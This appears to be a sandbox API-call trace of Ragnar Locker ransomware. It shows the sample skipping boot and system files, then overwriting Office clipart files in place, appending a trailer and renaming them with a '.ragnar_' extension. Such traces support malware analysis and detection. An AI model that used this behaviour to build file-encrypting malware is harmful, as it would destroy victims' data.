[0082.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.373] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.374] VirtualAlloc (lpAddress=0x0, dwSize=0xa4c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.374] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.374] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.374] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa4c, lpOverlapped=0x0) returned 1 [0082.375] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.375] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa4c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.375] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa4c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa4c, lpOverlapped=0x0) returned 1 [0082.375] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa4c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.375] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.375] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.375] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.375] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.375] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.375] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.375] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.375] GetProcessHeap () returned 0x580000 [0082.376] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.376] CloseHandle (hObject=0xf4) returned 1 [0082.376] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" [0082.376] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.ragnar_FD7BD9FC" [0082.376] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.376] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0082.377] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.377] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD02153_.WMF" | out: lpString1="FD02153_.WMF") returned="FD02153_.WMF" [0082.377] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned=".WMF" [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="autorun.inf") returned 1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="boot.ini") returned 1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="bootfont.bin") returned 1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="bootsect.bak") returned 1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="bootmgr") returned 1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="bootmgr.efi") returned 1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="desktop.ini") returned 1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="iconcache.db") returned -1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="ntldr") returned -1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="ntuser.dat") returned -1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="ntuser.ini") returned -1 [0082.377] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="thumbs.db") returned -1 [0082.377] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.377] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.377] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.377] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.377] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.377] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.377] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x20 [0082.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.378] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5392) returned 1 [0082.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1507, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.378] GetProcessHeap () returned 0x580000 [0082.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.378] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.379] VirtualAlloc (lpAddress=0x0, dwSize=0x1510, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.379] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.379] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.379] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1510, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1510, lpOverlapped=0x0) returned 1 [0082.380] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.380] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1510, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.380] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1510, lpOverlapped=0x0) returned 1 [0082.381] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1510, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.381] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.381] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1510, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.381] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.381] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.381] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.381] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.381] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.381] GetProcessHeap () returned 0x580000 [0082.381] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.381] CloseHandle (hObject=0xf4) returned 1 [0082.381] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" [0082.381] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.ragnar_FD7BD9FC" [0082.381] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.382] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0082.382] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.382] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD02158_.WMF" | out: lpString1="FD02158_.WMF") returned="FD02158_.WMF" [0082.382] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned=".WMF" [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="autorun.inf") returned 1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="boot.ini") returned 1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="bootfont.bin") returned 1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="bootsect.bak") returned 1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="bootmgr") returned 1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="bootmgr.efi") returned 1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="desktop.ini") returned 1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="iconcache.db") returned -1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="ntldr") returned -1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="ntuser.dat") returned -1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="ntuser.ini") returned -1 [0082.382] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="thumbs.db") returned -1 [0082.382] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.382] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.382] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.383] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.383] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.383] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.383] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x20 [0082.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.383] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1648) returned 1 [0082.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x667, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.383] GetProcessHeap () returned 0x580000 [0082.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.383] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.385] VirtualAlloc (lpAddress=0x0, dwSize=0x670, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.385] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.385] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.385] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x670, lpOverlapped=0x0) returned 1 [0082.385] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.385] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x670, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.385] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x670, lpOverlapped=0x0) returned 1 [0082.385] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x670, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.385] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.385] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.385] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.386] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.386] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.386] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.386] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.386] GetProcessHeap () returned 0x580000 [0082.386] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.386] CloseHandle (hObject=0xf4) returned 1 [0082.386] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" [0082.386] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.ragnar_FD7BD9FC" [0082.386] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.386] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0082.386] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.387] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD02161_.WMF" | out: lpString1="FD02161_.WMF") returned="FD02161_.WMF" [0082.387] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned=".WMF" [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="autorun.inf") returned 1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="boot.ini") returned 1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="bootfont.bin") returned 1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="bootsect.bak") returned 1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="bootmgr") returned 1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="bootmgr.efi") returned 1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="desktop.ini") returned 1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="iconcache.db") returned -1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="ntldr") returned -1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="ntuser.dat") returned -1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="ntuser.ini") returned -1 [0082.387] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="thumbs.db") returned -1 [0082.387] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.387] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.387] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.387] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.387] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.387] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.387] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x20 [0082.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.388] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3128) returned 1 [0082.388] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.388] GetProcessHeap () returned 0x580000 [0082.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.388] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.389] VirtualAlloc (lpAddress=0x0, dwSize=0xc38, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.389] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.389] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.389] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc38, 